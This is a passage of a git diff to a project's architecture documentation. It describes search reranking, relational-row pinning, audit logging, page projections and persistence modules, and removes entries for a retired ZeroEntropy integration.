`legacy (null)` in `gbrain search modes` (plain `(undefined)` stays reserved for genuinely unset knobs). `relational_rerank_pin: number` knob in `ModeBundle` (3 in all three bundles — a no-op under `conservative`, which has no reranker; config `search.relational_rerank_pin` accepts `off`/`0` or an integer in [0, 10] through the ONE range contract `normalizeRelationalRerankPin` in `relational-rerank-pin.ts`, out-of-range falls through to the bundle; per-call `SearchOpts.relationalRerankPin`, normalized by the same function in both the inner search and the cache resolver): how many relational-arm rows `pinRelationalRows` re-pins above the reranked text rows after `applyReranker`. It folds into `knobsHash` as the append-only `rrp=` part, riding `KNOBS_HASH_VERSION` 29 together with `evb=` (one bump per wave — both parts landed before v29 shipped; a partial-knobs literal without the field hashes as the bundle default), so a pin-3 write can never serve a pin-0 lookup. Pinned by `test/search-mode.test.ts` (bundle snapshots + hash pins), `test/search/knobs-hash-reranker.test.ts` (the version comment chain), `test/config-adaptive-return-keys.test.ts`, `test/search/modes-report-coverage.test.ts`.
-- `src/core/search/modes-report.ts` — `buildModesReport(engine)` → `SearchModesReport` (`schema_version: 2`), the read-only dashboard behind `gbrain search modes` and the `search_modes` MCP op: `active_mode` + validity, the per-knob `resolved` attribution (`attributeKnob` over `KNOB_DESCRIPTIONS`, including the five `reranker_*` knobs), the three frozen `bundles`, `config_keys`, and `reranker_readiness` — `{model, enabled, ready, required_key, key_present, sunset_passed, self_hosted, fix}` from `rerankerReadinessForEngine` + `describeRerankerFix` (a thrown readiness check still yields a `ready: false` verdict whose `fix` says to run `gbrain doctor`; the block never vanishes silently). `redactReadinessForRemote(report)` is what the `search_modes` op returns when `ctx.remote !== false`: `required_key`, `key_present` and `fix` are dropped and `self_hosted` is forced false — which env vars exist on the host is fingerprinting data and the fix names them; `ready` stays because it is observable anyway (reranked results carry `rerank_score`). `src/commands/search.ts:formatModesText` renders the runtime `Reranker:` line (`off (resolved) — …` / `<model> (enabled) — <KEY> present` / `<model> (enabled but NOT running) — <fix>`) and a per-bundle `reranker=… topNIn=… autocut=…` line. Pinned by `test/modes-report-reranker.test.ts`. The CLI dashboard leads with command-specific expansion: `query` is on in every mode unless explicitly disabled, while `search` is off. It discloses provider prerequisites/text flow and distinguishes retained bundle configuration from effective command behavior.
+- `src/core/search/modes-report.ts` — `buildModesReport(engine)` → `SearchModesReport` (`schema_version: 2`), the read-only dashboard behind `gbrain search modes` and the `search_modes` MCP op: `active_mode` + validity, the per-knob `resolved` attribution (`attributeKnob` over `KNOB_DESCRIPTIONS`, including the five `reranker_*` knobs), the three frozen `bundles`, `config_keys`, and `reranker_readiness` — `{model, enabled, ready, required_key, key_present, self_hosted, fix}` from `rerankerReadinessForEngine` + `describeRerankerFix` (a thrown readiness check still yields a `ready: false` verdict whose `fix` says to run `gbrain doctor`; the block never vanishes silently). `redactReadinessForRemote(report)` is what the `search_modes` op returns when `ctx.remote !== false`: `required_key`, `key_present` and `fix` are dropped and `self_hosted` is forced false — which env vars exist on the host is fingerprinting data and the fix names them; `ready` stays because it is observable anyway (reranked results carry `rerank_score`). `src/commands/search.ts:formatModesText` renders the runtime `Reranker:` line (`off (resolved) — …` / `<model> (enabled) — <KEY> present` / `<model> (enabled but NOT running) — <fix>`) and a per-bundle `reranker=… topNIn=… autocut=…` line. Pinned by `test/modes-report-reranker.test.ts`. The CLI dashboard leads with command-specific expansion: `query` is on in every mode unless explicitly disabled, while `search` is off. It discloses provider prerequisites/text flow and distinguishes retained bundle configuration from effective command behavior.
- `src/core/search/private-visibility.ts` — shared page-visibility resolver and SQL predicates. Explicit local trust disables page filtering; operator env/config opt-outs retain their existing semantics and failed config reads enforce privacy. `privatePagesFilterFragment` authorizes concrete page rows; link origins and timeline projections use independent ID-based predicates. Legacy slug-set helpers are for name enumeration, never authorization of data from another row/source. `ops/context.ts:readPolicyOpts` combines canonical source precedence, resolved privacy and holder permissions. Both engines filter content/history/graph/identity/analytics before limits or aggregation; current and historical visibility are checked independently while page privacy is enforced. Semantic response caching remains disabled, so visibility-key folding alone never authorizes reuse.
@@ -59,4 +59,4 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/search/relational-rerank-pin.ts` — relational-arm rows bypass reranker DEMOTION (ranker wave, receipt R1 in `scripts/r1-namedthing-rerank-ab.ts`: on NamedThingBench's 39 graph-relationship questions the shipped `balanced` default lost hit@1 21/39 → 3/39 and hit@3 27/39 → 5/39 with the reranker on — 19 and 22 paired losses — because the cross-encoder scores chunk TEXT and an edge-derived answer's text need not mention the query's entity; with the pin at its default 3, measured with `--autocut on`, the shape that shipped before rule R2 turned autocut off, the same paired run shows 0 hit@1 / 0 hit@3 losses, 21/39 and 27/39, and the 11 non-relational core queries show 0 losses — one hard-negative gain, hit@1 10/11 → 11/11). `pinRelationalRows(reranked, relationalList, {max, fusedOrder?, onPin?})` is a pure PERMUTATION of the post-rerank pool: relational rows (page key `(source_id, slug)` in the arm's list; ONE row per page — its first, highest-ranked occurrence) claim `min(fused_rank, reranked_rank)` (fused rank = position among relational rows in `fusedOrder`, the pre-rerank `deduped` pool; arm order for rows absent from it), claims sort ascending with ties resolved to the FUSED order then the reranked position, the first `max` claimants form the top block in that order, every other row follows in reranked order (an unpinned row lands at its reranked position or up to `pinned.length` lower, never higher). Pinned rows are shallow copies stamped `relational_pinned: true`; no row is added or removed (re-injecting rows dropped upstream stays `ensureRelationalEvidenceSlot`'s job). Every no-op path (`max <= 0`, empty pool, empty arm, no relational page in the pool) returns the input array itself. `normalizeRelationalRerankPin` is the ONE range contract for the knob (non-negative integer `<= 10` or a string parsing to one → that integer; the literals `off` / `false` (any case) or boolean `false` → 0; anything else → `undefined` = fall through), shared by `mode.ts:loadOverridesFromConfig` and both per-call seams in `hybrid.ts`; `DEFAULT_RELATIONAL_RERANK_PIN` (3) and `RELATIONAL_RERANK_PIN_MAX` (10) are exported. `RelationalRerankPinDecision` (`{max, relational_in_pool, pinned:[{slug, source_id, from_rank, to_rank, fused_rank}], moved}`) is surfaced as `HybridSearchMeta.relational_rerank_pin` for `--explain`. Wired in `hybridSearch` immediately after `applyReranker` and before the alias hop, gated on the reranker having actually reordered (`reranked !== deduped` — `applyReranker` returns its input on every fail-open / skip / pass-through path, and the fused order already carries the arm) and on non-image modality; autocut's `scoreOf` ignores pinned rows and its preserve predicate keeps them, so text-row autocut is byte-identical to the pre-pin behavior. Known cost: a false-positive arm (relational shape parsed AND a real seed resolved, but wrong/stale edges) now puts up to `max` edge pages at ranks 1..max instead of one at `limit`; mitigations are the arm's `fallback_slugify` confidence gate, the tier-2 resolution-margin TODO, config `search.relational_rerank_pin off`, and per-call `SearchOpts.relationalRerankPin`. Pinned by `test/search/relational-rerank-pin.test.ts` (pure contract + tie policy) and `test/search/relational-rerank-pin-hybrid.serial.test.ts` (hermetic PGLite on the relational corpus through the REAL gateway rerank path behind `__setRerankTransportForTests` with an inverted-relevance stub: pin 0 reproduces the regression, pin 3 restores hit@1/hit@3 on all 8 who-invested questions, non-relational queries and reranker-off runs are byte-identical).
-- `src/core/search/rerank.ts` — the call-site abstraction. `applyReranker(query, results, opts)` slots between `dedupResults()` and `enforceTokenBudget()` in `src/core/search/hybrid.ts`. Slices `opts.topNIn` (default 30) by current RRF order, caps each document via `capRerankDoc` (`RERANK_MAX_DOC_CHARS=6000` then a measured-ratio shrink to `RERANK_MAX_DOC_TOKENS=1400` — a 2048-ubatch llama-server minus query/template headroom minus a Qwen-tokenizer margin; every cut through `truncateUtf8` so no lone surrogate reaches the JSON body; docs under 1400 chars skip the tokenizer; applies to hosted providers too, so code/CJK chunks at the chunker ceiling lose part of their tail while prose is untouched), sends to `gateway.rerank()`, reorders by `relevanceScore` desc, appends the un-reranked tail unchanged (recall protection). Fail-open on every `RerankError.reason`: any error logs via `logRerankFailure` and returns the input array unchanged — except the two SKIP classes `sunset_short_circuit` and `no_key` (`RerankSkipReason`), which return the input immediately WITHOUT a per-query audit row (the gateway already wrote the one per-process-per-model row) and fire `opts.onSkip(reason)`; `hybrid.ts` passes an `onSkip` that stamps `{stage: 'reranker_skipped', reason}` into `HybridSearchMeta.degraded` (closed vocabulary in `types.ts`), which `--explain` renders as `degraded: reranker_skipped (no_key)` via `formatDegradedSummary` — the only place a silently skipped reranker is visible from the CLI. `types.ts` classifies the stage as ranking-only: `RANKING_ONLY_DEGRADED_STAGES` (= `{reranker_skipped}`) + `affectsRecall(entry)` — consumers that ask "was recall impaired?" filter through it (the CLI `No results.` line in `cli.ts:describeEmptyRetrieval` and the MCP empty-result block in `dispatch.ts:buildEmptyRetrievalBlock` keep saying "clean miss"; the degraded cache-TTL rule below uses the same predicate), while consumers that report what did not run (`--explain`, telemetry, eval rows) keep it; pinned by `test/degraded-stages-recall.test.ts`. `hybridSearchCached` excludes `reranker_skipped` from the short degraded-TTL rule (it is a config state, not a transient limp: a keyless balanced brain keeps the full `cache.ttl_seconds`, and the stored meta still carries the stamp). Stamps `rerank_score` onto reordered items so downstream telemetry sees the new ordering signal. `topNOut: null` is the explicit "don't truncate" signal — semantically distinct from `undefined` ("fall through to mode bundle"). Test seam: `opts.rerankerFn` stubs `gateway.rerank` without the network. Document cap pinned by `test/rerank-doc-cap.test.ts`.
+- `src/core/search/rerank.ts` — the call-site abstraction. `applyReranker(query, results, opts)` slots between `dedupResults()` and `enforceTokenBudget()` in `src/core/search/hybrid.ts`. Slices `opts.topNIn` (default 30) by current RRF order, caps each document via `capRerankDoc` (`RERANK_MAX_DOC_CHARS=6000` then a measured-ratio shrink to `RERANK_MAX_DOC_TOKENS=1400` — a 2048-ubatch llama-server minus query/template headroom minus a Qwen-tokenizer margin; every cut through `truncateUtf8` so no lone surrogate reaches the JSON body; docs under 1400 chars skip the tokenizer; applies to hosted providers too, so code/CJK chunks at the chunker ceiling lose part of their tail while prose is untouched), sends to `gateway.rerank()`, reorders by `relevanceScore` desc, appends the un-reranked tail unchanged (recall protection). Fail-open on every `RerankError.reason`: any error logs via `logRerankFailure` and returns the input array unchanged — except the SKIP class `no_key` (`RerankSkipReason`), which returns the input immediately WITHOUT a per-query audit row (the gateway already wrote the one per-process-per-model row) and fires `opts.onSkip(reason)`; `hybrid.ts` passes an `onSkip` that stamps `{stage: 'reranker_skipped', reason}` into `HybridSearchMeta.degraded` (closed vocabulary in `types.ts`), which `--explain` renders as `degraded: reranker_skipped (no_key)` via `formatDegradedSummary` — the only place a silently skipped reranker is visible from the CLI. `types.ts` classifies the stage as ranking-only: `RANKING_ONLY_DEGRADED_STAGES` (= `{reranker_skipped}`) + `affectsRecall(entry)` — consumers that ask "was recall impaired?" filter through it (the CLI `No results.` line in `cli.ts:describeEmptyRetrieval` and the MCP empty-result block in `dispatch.ts:buildEmptyRetrievalBlock` keep saying "clean miss"; the degraded cache-TTL rule below uses the same predicate), while consumers that report what did not run (`--explain`, telemetry, eval rows) keep it; pinned by `test/degraded-stages-recall.test.ts`. `hybridSearchCached` excludes `reranker_skipped` from the short degraded-TTL rule (it is a config state, not a transient limp: a keyless balanced brain keeps the full `cache.ttl_seconds`, and the stored meta still carries the stamp). Stamps `rerank_score` onto reordered items so downstream telemetry sees the new ordering signal. `topNOut: null` is the explicit "don't truncate" signal — semantically distinct from `undefined` ("fall through to mode bundle"). Test seam: `opts.rerankerFn` stubs `gateway.rerank` without the network. Document cap pinned by `test/rerank-doc-cap.test.ts`.
diff --git a/docs/architecture/key-files/core-services-2.md b/docs/architecture/key-files/core-services-2.md
index 5b0c13029d..56425a5534 100644
--- a/docs/architecture/key-files/core-services-2.md
+++ b/docs/architecture/key-files/core-services-2.md
@@ -43,7 +43,7 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/page-state/` — Canonical page concurrency foundation shared by both engines. `schema.ts` (migration 150) adds source incarnation UUIDs, logical page revisions, text-projection revisions, and persistent guards for absent pages. `guards.ts` locks sorted sources then page identities in an existing transaction; callers lock sources before authority/request/fact rows. `snapshot.ts` reads page/tags/withdrawals in one MVCC statement and applies withdrawals using database-normalized text. `transactions.ts` makes helper transaction APIs compose through savepoints. `versions.ts` records the complete canonical snapshot; `materialize.ts` persists only verified canonical overlay bytes without another logical revision. `types.ts` defines revision preconditions: missing revision is create-only, explicit force overwrites. Plain legacy `putPage` calls keep compatibility until their owning operation adopts the managed write protocol. `projection-schema.ts` (migration 153) invalidates unverified prior projections once and queues durable work; `projections.ts` rebuilds Markdown without a worktree/provider and installs only matching canonical revisions. Embedding installs also compare exact chunk identities/text. Source importers seal code/image projections; all read arms hide unsealed projections.
-- `src/core/page-state/projections.ts` — captures canonical revision, source incarnation, page identity, the complete raw chunk inventory and resolved indexing inputs before preparing derived work. Embedding reads require a current text seal; healing/rebuild capture can explicitly include unsealed pages. Projection installation compares its originating seal, chunk identities/text/source/completion state, chunker version and indexing context (including stored corpus generation) under the page guard before replacing any row. A same-revision re-chunk may replace the snapshot it actually captured; a delayed older installation cannot discard newer chunks or vectors. Rebuild also rechecks its queued job before capture so a completed job from an old listing stays completed. Chunkless healing sanitizes complete body/timeline fences before splitting, preserving withdrawn history in direct page reads while excluding it from retrieval. Tests: `page-projection-origin.test.ts` (PGLite and isolated Postgres), `embed-stale-chunkless-pages.serial.test.ts` (public healing entry). Shared `markdown-chunks.ts` and `code-chunks.ts` preserve fenced code and source-language metadata. Recovery handles both page kinds, preserves only exact model/hash/metadata-compatible vectors, replaces outgoing code edges without deleting incoming edges to retained chunks, and clears backfill watermarks. Failed jobs rotate with a retained diagnostic; successful drain refreshes planner statistics.
+- `src/core/page-state/projections.ts` — captures canonical revision, source incarnation, page identity, the complete raw chunk inventory and resolved indexing inputs before preparing derived work. Embedding reads require a current text seal; healing/rebuild capture can explicitly include unsealed pages. Projection installation compares its originating seal, chunk identities/text/source/completion state, chunker version and indexing context (including stored corpus generation) under the page guard before replacing any row. A same-revision re-chunk may replace the snapshot it actually captured; a delayed older installation cannot discard newer chunks or vectors. Rebuild also rechecks its queued job before capture so a completed job from an old listing stays completed. Chunkless healing sanitizes complete body/timeline fences before splitting, preserving withdrawn history in direct page reads while excluding it from retrieval. Tests: `page-projection-origin.test.ts`, `page-projection-vector-preservation.test.ts` (PGLite and isolated Postgres), `embed-stale-chunkless-pages.serial.test.ts` (public healing entry). Shared `markdown-chunks.ts` and `code-chunks.ts` preserve fenced code and source-language metadata. Recovery preserves compatible legacy NULL-hash vectors without stamping provenance; non-NULL hash, model, context or chunk-identity drift still invalidates them. It replaces outgoing code edges without deleting incoming edges to retained chunks and clears backfill watermarks. Failed jobs rotate with a retained diagnostic; successful drain refreshes planner statistics.
- `src/core/page-state/version-types.ts` — complete canonical version contract with nullable legacy fields, re-exported by `types.ts` for existing callers. `page-state/versions.ts` records deletion, timeline, tags and originating revision in the page publication transaction.
@@ -69,7 +69,9 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/persistence/params.ts` — runtime-leaf mutation parameter and receipt schemas shared with the frozen verb registry. Its operation-contract import is type-only; runtime validators live in separate modules to avoid a registry initialization cycle. `preconditions.ts` validates UUID/revision/force syntax. `purge-params.ts` validates local-only purge shape/trust before admission and publication, keeping purge diagnostics out of generic precondition imports and unrelated command flag scans. `test/persistence-cold-import.test.ts` loads each validator/contract/registry entry in a fresh process and preserves schema and typed-error identity.
-- `src/core/persistence/{effect-schema,effect-model,effect-journal,effect-recovery,effect-git,effects}.ts` — bounded postcommit outbox (migration 155). Canonical publication atomically queues Git and embedding work; withdrawals queue three fixed-size source scans with durable slug cursors. Independent mirror recovery reserves configured capacity before file effects, finishes forward without changing revision or receipt, and blocks only its worktree until reconciled. Git holds the native root lock, disables hooks, commits only the target, and pushes without pull/rebase; embedding runs outside transactions/OS locks and installs with projection CAS. Receipt helpers return only public effect state/reason/push. Consumer shutdown aborts providers and awaits workers; receipt compaction runs at a bounded cadence. Fault-injection, capacity, Git staging, and delayed-provider tests: `test/persistence-effects.test.ts`. Embedding completion checks active column/vector, embedded stamp, text hash, model and page signature; partial work sends only stale chunks and preserves valid siblings. A partial synopsis rebuild completes before title demotion. Provider timeouts use the gateway budget, five durable page claims/backoff, execution-token CAS after provider work and atomic vector/stamp/effect completion. Keyless work skips cleanly. `retry-effects` is an explicit one-shot failed-effect allowance; current vectors reconcile provider-free without changing canonical receipts.
+- `src/core/persistence/{effect-schema,effect-model,effect-journal,effect-recovery,effect-git,effects}.ts` — bounded postcommit outbox (migration 155). Canonical publication atomically queues Git and embedding work; withdrawals queue three fixed-size source scans with durable slug cursors. Independent mirror recovery reserves capacity before file effects, finishes forward without changing revision or receipt, and blocks only its worktree until reconciled. Git holds the native root lock, disables hooks, uses literal pathspecs and target-only commits, and pushes without pull/rebase. Old targets resolve under the same hash/confinement checks without changing frozen data; ambiguous absent spellings refuse after scoped staged/unstaged deletion checks. Embedding runs outside transactions/OS locks and installs with projection CAS. Receipt helpers return only public effect state/reason/push. Consumer shutdown aborts providers and awaits workers; receipt compaction is bounded. Tests: `persistence-effects.test.ts`, `persistence-git-publication.test.ts`, `persistence-publication-native.serial.test.ts`. Embedding completion checks active column/vector, embedded stamp, text hash, model and page signature; partial work sends only stale chunks and preserves valid siblings. A partial synopsis rebuild completes before title demotion. Provider timeouts use the gateway budget, five durable page claims/backoff, execution-token CAS after provider work and atomic vector/stamp/effect completion. Keyless work skips cleanly. `retry-effects` is an explicit one-shot failed-effect allowance; current vectors reconcile provider-free without changing canonical receipts.
+
+- `src/core/persistence/native-file-target.ts` — shared preparation/Git execution spelling resolution. Native directory-entry inode/device identity proves aliases; no global case folding or separator rewrite. Missing suffixes retain exact spelling, descendant symlinks and ambiguous aliases refuse, and physical root identity is rechecked. Exact POSIX case-distinct names and literal backslashes remain distinct.
- `src/core/persistence/{ipc,local-client}.ts` — dedicated local persistence socket and engine-free CLI delegation. The narrow protocol carries a durable brain UUID, existing local writer registration, client source/cwd, and one request UUID; the production provider verifies current authority and dispatches through operations. Max frame 32 MiB (five-million-byte content even with JSON escaping), eight connections/in-flight dispatches, incomplete-frame timeout 15s. Lost responses preserve the original request ID with unknown submission state and never automatically replay or open another engine. Brain/mount routing precedes lock inspection; owner-side `resolveSourceId(..., { skipLocalSignals: true })` prevents serve env/dotfiles from overriding client routing. `bindResolveIpcForServe` accepts the provider as its third argument and closes the dedicated listener with hook IPC. Tests: `test/persistence-ipc.test.ts`, `test/persistence-local-client.test.ts`, `test/resolve-ipc-binding.test.ts`.
diff --git a/docs/architecture/key-files/core-utilities-2.md b/docs/architecture/key-files/core-utilities-2.md
index 2ccdecdb96..97103095f6 100644
--- a/docs/architecture/key-files/core-utilities-2.md
+++ b/docs/architecture/key-files/core-utilities-2.md
@@ -3,9 +3,8 @@
[Subsystem index](../KEY_FILES.md). Read only the entries relevant to your change.
Current behavior and load-bearing invariants; history belongs in Git and CHANGELOG.
-- `src/core/rerank-audit.ts` — failure-only JSONL audit at `~/.gbrain/audit/rerank-failures-YYYY-Www.jsonl` (ISO-week rotation, mirrors `src/core/audit-slug-fallback.ts`). Exports `logRerankFailure({reason, model, query_hash, doc_count, error_summary})` + `readRecentRerankFailures(days)`. The `sunset_short_circuit` and `no_key` reasons are written ONCE per process per model by the gateway itself (not per query by `applyReranker`): the reranker's hosted API passed its announced shutdown date / the provider key is absent, so calls are skipped without HTTP and results pass through unreranked; `auth` means key present but rejected. Deliberately no `logRerankSuccess`: writing once per tokenmax search is hot-path I/O churn AND success events leak query volume + timing into a local audit file. `gbrain doctor`'s `reranker_health` check (`doctor/checks/calibration.ts`) resolves enablement + model through `resolveSearchMode(loadSearchModeConfig)` — the plane search reranks with — and `rerankerReadiness` before reading the audit: readiness is evaluated against the DB-merged config plane (`loadConfigWithEngine`, so DB-plane provider keys and `provider_base_urls` self-host overrides count, exactly like the gateway the CLI configures): a brain with NO embedding provider (`isAvailable('embedding')` false on a configured gateway) is `ok` even when not ready — search runs keyword-only there and never reaches `applyReranker`, so there is nothing to fix; otherwise enabled-but-not-ready (key absent / sunset passed without a self-host override / unknown model) warns with the paste-ready fix; only audit rows for the RESOLVED model count (rows for any other model never make the live default warn or send the operator to verify the wrong key); `no_key`/`sunset_short_circuit` skip rows are informational once ready (those processes ran unreranked; a long-lived worker started before the key was added keeps skipping until restarted) and never outlive the fix as a warn; then the auth / payload / budget / transient / unknown ladders on the non-skip rows; disabled → ok (with an enable hint when the default is ready). Query text SHA-256-prefix-hashed (8 hex chars) for privacy. `GBRAIN_AUDIT_DIR` env override honored via the shared `resolveAuditDir()`.
+- `src/core/rerank-audit.ts` — failure-only JSONL audit at `~/.gbrain/audit/rerank-failures-YYYY-Www.jsonl` (ISO-week rotation, mirrors `src/core/audit-slug-fallback.ts`). Exports `logRerankFailure({reason, model, query_hash, doc_count, error_summary})` + `readRecentRerankFailures(days)`. The `no_key` reason is written ONCE per process per model by the gateway itself (not per query by `applyReranker`): the provider key is absent, so calls are skipped without HTTP and results pass through unreranked; `auth` means key present but rejected. Deliberately no `logRerankSuccess`: writing once per tokenmax search is hot-path I/O churn AND success events leak query volume + timing into a local audit file. `gbrain doctor`'s `reranker_health` check (`doctor/checks/calibration.ts`) resolves enablement + model through `resolveSearchMode(loadSearchModeConfig)` — the plane search reranks with — and `rerankerReadiness` before reading the audit: readiness is evaluated against the DB-merged config plane (`loadConfigWithEngine`, so DB-plane provider keys and `provider_base_urls` self-host overrides count, exactly like the gateway the CLI configures): a brain with NO embedding provider (`isAvailable('embedding')` false on a configured gateway) is `ok` even when not ready — search runs keyword-only there and never reaches `applyReranker`, so there is nothing to fix; otherwise enabled-but-not-ready (key absent / unknown model) warns with the paste-ready fix; only audit rows for the RESOLVED model count (rows for any other model never make the live default warn or send the operator to verify the wrong key); `no_key` skip rows are informational once ready (those processes ran unreranked; a long-lived worker started before the key was added keeps skipping until restarted) and never outlive the fix as a warn; then the auth / payload / budget / transient / unknown ladders on the non-skip rows; disabled → ok (with an enable hint when the default is ready). Query text SHA-256-prefix-hashed (8 hex chars) for privacy. `GBRAIN_AUDIT_DIR` env override honored via the shared `resolveAuditDir()`.
-- `src/core/retrieval-upgrade-planner.ts` — legacy ze-switch planner, slated for deletion with the ZeroEntropy removal; CLI-unreachable (the ze-switch shim refuses every operation) and kept ONLY as a test vehicle: `applyRetrievalUpgrade`/`resumeRetrievalUpgrade` carry the multimodal-column preservation pins and env-override gate cases in `test/retrieval-upgrade-planner.test.ts` + `test/ze-switch-env-override.test.ts`. The shared primitives (`runSchemaTransition`, `transitionDimPinnedColumn`, `TEXT_EMBEDDING_DIM_PINNED_TABLES`, `detectEnvOverride`, `EnvOverrideWarning`, `formatEnvOverrideWarning`) LIVE in `embedding-migration.ts`; this file re-exports them until the deletion. Its resume/undo paths probe `readContentChunksEmbeddingDim` first and skip the schema transition when the column is already at the target width — a same-width DROP+ADD still deletes every stored vector. Note the plane caveat: apply/undo write DB-plane config (`engine.setConfig`) that the file-plane-canonical embed pipeline does not read.
- `src/core/runtime-version.ts` — Bun 1.3.11 minimum enforced by the CLI entrypoint and guarded HTTP transport, with upgrade/restart guidance. Package engines and runtime checks share the same supported floor.
@@ -17,6 +16,8 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/storage.ts` — Pluggable storage interface (S3, Supabase Storage, local).
+- `src/core/stored-embedding-identity.ts` — reads the existing primary vector column's database type and width plus its recorded model before either engine initializes the schema or runs bootstrap DDL. Its fixed-name store inventory covers primary-space vectors in chunks, facts, query cache and takes; re-init refuses a model change when any is populated. Existing stores retain their identity instead of inheriting a fresh-install default; unknown column identity or missing model metadata refuses schema initialization with explicit migration guidance. This does not merge database model rows into the runtime gateway or rewrite stored vectors. Configless runtime access remains keyword-only until an embedding identity is explicitly configured. Approved model migrations invalidate companion vectors and clear the query cache atomically with their checkpoint and DB identity; same-target resume preserves already-regenerated companion vectors.
+
- `src/core/surface-audit.ts` — `writeSurfaceChangeAudit(engine, audit)`: the surface-mutation audit trail. Every surface mutation (rescope CLI, `POST /admin/api/rescope-client`, `request_tools` persist) writes one typed `mcp_request_log` row — `operation='surface_change'`, params a RAW object `{actor, client_id, old, new, via}` via `executeRawJsonb` (never `JSON.stringify` into `::jsonb`). Zero new DDL; rides `idx_mcp_log_time_agent` + the retention TODO. Best-effort: a failed audit write warns to stderr, never fails the committed mutation (callers needing fail-closed semantics inspect the returned boolean). CLI-actor rows are written even though stdio ops don't otherwise log (documented exception — audit outranks the transport-logging convention). The usage reader excludes these rows from op-call stats.
- `src/core/transcripts.ts` — `listRecentTranscripts(engine, opts)` library reused by both the `gbrain transcripts recent` CLI and the `get_recent_transcripts` MCP op. Reads `dream.synthesize.session_corpus_dir` + `dream.synthesize.meeting_transcripts_dir` config (same as `discoverTranscripts`); walks `.txt` files within `days`; applies the `isDreamOutput` guard from `transcript-discovery.ts` (skips dream-generated files); returns `{path, date, mtime, length, summary}[]` sorted newest-first. Summary mode (default true) = first non-empty line + ~250 trailing chars; full mode caps at 100KB/file. Missing/non-existent corpus dirs return `[]`, not error. Trust gate lives in the op handler, not here: the op throws `permission_denied` for `ctx.remote === true`; this is a trusted library function used by both the gated op and the local CLI.
@@ -28,5 +29,3 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `src/core/utils.ts` — Shared SQL utilities used by both engines. Exports `parseEmbedding(value)` (throws on unknown input, used by migration + ingest paths where data integrity matters) and `tryParseEmbedding(value)` (returns `null` + warns once per process, used by search/rescore paths where availability matters more than strictness). `isUndefinedColumnError(err)` predicate — pattern-matches Postgres SQLSTATE 42703 / "column ... does not exist" with engine-driver shape variation tolerated; used by `oauth-provider.ts` so genuine errors (lock timeout, network blip, permission denied) propagate while column-missing falls through to the legacy fallback. `validateSourceId(id)` throws on anything outside `^[a-z0-9_-]+$`, used by the per-source disk-layout fix in patterns.ts/synthesize.ts before any `join(brainDir, '.sources', source_id, slug+'.md')` so source_id can't traverse out of brainDir. `rowToSearchResult` projects email `message_id` / `thread_id` metadata and exposes `source_subject` only when a non-empty Message-ID proves the page is an email, so generated page titles never become authoritative email subjects. `rowToPage` populates the required `Page.source_id` from the SELECT projection (`scripts/check-source-id-projection.sh` enforces every projection feeding `rowToPage` includes the column). `bigintToStringReplacer(key, value)` — the JSON replacer turning `bigint` into strings (the postgres.js int8 wire shape), shared by cli.ts's local-result normalizer (which re-exports it) and the commands that stringify results themselves (`gbrain call`, `extract --explain`); commands import it from here, never from the dispatcher. Its doc comment deliberately carries no double-dash flag literals — the flag-registry generator harvests them from every module a command transitively imports, and utils.ts is imported by nearly all.
- `src/core/verbs.ts` — MEMORY_VERBS v1: the four frozen protocol verbs (`remember`, `entity`, `synthesize`, `forget`) as first-class Operations, plus `MEMORY_VERBS_VERSION` (single source of truth, =1), `VERB_NAMES`, the hand-authored `RESPONSE_SCHEMAS` registry (Operation carries input params only; response shapes live here and conformance validates LIVE responses against them), and `ERROR_SCHEMA`. The fifth verb is the extended `recall` op in operations.ts. RUNTIME LEAF invariant: operations.ts spreads `verbOperations` into its array at module-eval time, so this file must never statically import operations.ts VALUES (type-only imports fine; handlers use dynamic import) — violating it causes a TDZ crash on whichever module evaluates second. Every verb error carries a populated `suggestion` + `protocol_version` (via `verbError` in operations.ts). The `forget` verb deliberately has NO cliHints (CLI_ONLY `forget` dispatches first and would shadow it). Frozen contract: docs/protocol/MEMORY_VERBS_v1.md; pinned by test/memory-verbs-conformance.test.ts.
-
-- `src/core/ze-exposure.ts` — ZeroEntropy sunset exposure detection: the one shared answer to "is this brain still depending on ZeroEntropy?", consumed by the `v0_46_3` version migration (`src/commands/migrations/v0_46_3.ts`) and the stage-2 upgrade banner. Standalone module by design — it must outlive the ze-switch/retrieval-upgrade subsystem. `detectZeExposure(engine, fileCfg?, env?)` resolves exposure from the EFFECTIVE embedding model (env `GBRAIN_EMBEDDING_MODEL` → file `embedding_model` → the legacy configless runtime fallback — resolution-based, NOT vector evidence, so a configless brain is exposed even with zero vectors), the resolved reranker (through `resolveSearchMode`, the same plane search actually reranks with — the bundle default is Voyage, so only an explicit `zeroentropyai:*` `search.reranker.model` row exposes), and ZE-backed custom `embedding_columns` (file + DB planes). Tri-state `status`: a failed DB probe downgrades to `'unknown'`, never to `'clear'` — callers nag on `'unknown'` (fail-safe). Blast-radius counts (ZE-stamped pages, embedded chunks, est. re-embed cost at the recommended target) are LIMIT-capped at `BLAST_RADIUS_CAP` (100K) so a million-chunk brain can't stall apply-migrations on a full-table COUNT; blast-radius probe failures are informational and never flip status. `renderZeActionRequired(exposure)` renders the shared ACTION REQUIRED body both consumers wrap (migrate command with `--dim 1024` + the 1280-not-a-valid-Voyage-width note, the `voyage:rerank-2.5` reranker fix, the no-automated-custom-column-off-ramp honesty, and the env-override callout when `GBRAIN_EMBEDDING_MODEL` itself forces ZE).
diff --git a/docs/architecture/key-files/engines-1.md b/docs/architecture/key-files/engines-1.md
index 4b0ef5ada8..ccbcc9fe41 100644
--- a/docs/architecture/key-files/engines-1.md
+++ b/docs/architecture/key-files/engines-1.md
@@ -17,7 +17,7 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
